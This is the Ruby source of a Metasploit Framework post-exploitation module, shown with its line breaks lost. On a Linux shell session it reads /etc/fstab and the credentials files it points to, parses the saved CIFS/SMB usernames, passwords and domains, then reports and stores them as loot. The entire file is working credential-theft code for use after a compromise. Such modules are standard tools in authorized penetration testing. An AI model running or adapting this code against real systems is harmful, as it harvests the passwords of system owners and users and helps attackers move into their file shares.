## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' require 'msf/core/post/common' require 'msf/core/post/file' class Metasploit3 < Msf::Post include Msf::Post::Common include Msf::Post::File def initialize(info={}) super( update_info( info, 'Name' => 'Linux Gather Saved mount.cifs/mount.smbfs Credentials', 'Description' => %q{ Post Module to obtain credentials saved for mount.cifs/mount.smbfs in /etc/fstab on a Linux system. }, 'License' => MSF_LICENSE, 'Author' => [ 'Jon Hart '], 'Platform' => [ 'linux' ], 'SessionTypes' => [ 'shell' ] )) end def run # keep track of any of the credentials files we read so we only read them once cred_files = [] # where we'll store hashes of found credentials while parsing. reporting is done at the end. creds = [] # A table to store the found credentials for loot storage afterward cred_table = Rex::Ui::Text::Table.new( 'Header' => "mount.cifs credentials", 'Indent' => 1, 'Columns' => [ "Username", "Password", "Server", "File" ]) # parse each line from /etc/fstab read_file("/etc/fstab").each_line do |fstab_line| fstab_line.strip! # where we'll store the current parsed credentials, if any cred = {} # if the fstab line utilizies the credentials= option, read the credentials from that file if (fstab_line =~ /\/\/([^\/]+)\/\S+\s+\S+\s+cifs\s+.*/) host = $1 # IPs can occur using the ip option, which is a backup/alternative # to letting UNC resolution do its thing host = $1 if (fstab_line =~ /ip=([^, ]+)/) if (fstab_line =~ /cred(?:entials)?=([^, ]+)/) file = $1 # skip if we've already parsed this credentials file next if (cred_files.include?(file)) # store it if we haven't cred_files << file # parse the credentials creds << parse_credentials_file(file) # if the credentials are directly in /etc/fstab, parse them elsif (fstab_line =~ /\/\/([^\/]+)\/\S+\s+\S+\s+cifs\s+.*(?:user(?:name)?|pass(?:word)?)=/) creds << parse_fstab_credentials(fstab_line) end end end # all done. clean up, report and loot. creds.flatten! creds.compact! creds.uniq! creds.each do |cred| # XXX: currently, you can only report_auth_info on an IP or a valid Host. in our case, # host[:host] is *not* a Host. Fix this some day. if (Rex::Socket.dotted_ip?(cred[:host])) report_auth_info({ :port => 445, :sname => 'smb', :type => 'password', :active => true }.merge(cred)) end cred_table << [ cred[:user], cred[:pass], cred[:host], cred[:file] ] end # store all found credentials unless (cred_table.rows.empty?) print_line("\n" + cred_table.to_s) p = store_loot( "mount.cifs.creds", "text/csv", session, cred_table.to_csv, "mount_cifs_credentials.txt", "mount.cifs credentials") print_status("CIFS credentials saved in: #{p.to_s}") end end # Parse mount.cifs credentials from +line+, assumed to be a line from /etc/fstab. # Returns the username+domain and password as a hash, nil if nothing is found. def parse_fstab_credentials(line, file="/etc/fstab") creds = {} # get the username option, which comes in one of four ways user_opt = $1 if (line =~ /user(?:name)?=([^, ]+)/) case user_opt # domain/user%pass when /^([^\/]+)\/([^%]+)%(.*)$/ creds[:user] = "#{$1}\\#{$2}" creds[:pass] = $3 # domain/user when /^([^\/]+)\/([^%]+)$/ creds[:user] = "#{$1}\\#{$2}" # user%password when /^([^%]+)%(.*)$/ creds[:user] = $1 creds[:pass] = $2 # user else creds[:user] = user_opt end if (user_opt) # get the password option if any creds[:pass] = $1 if (line =~ /pass(?:word)?=([^, ]+)/) # get the domain option, if any creds[:user] = "#{$1}\\#{creds[:user]}" if (line =~ /dom(?:ain)?=([^, ]+)/) creds[:file] = file unless (creds.empty?) (creds.empty? ? nil : creds) end # Parse mount.cifs credentials from +file+, returning the username+domain and password # as a hash, nil if nothing is found. def parse_credentials_file(file) creds = {} domain = nil read_file(file).each_line do |credfile_line| case credfile_line when /domain=(.*)/ domain = $1 when /password=(.*)/ creds[:pass] = $1 when /username=(.*)/ creds[:user] = $1 end end # prepend the domain if one was found creds[:user] = "#{domain}\\#{creds[:user]}" if (domain and creds[:user]) creds[:file] = file unless (creds.empty?) (creds.empty? ? nil : creds) end end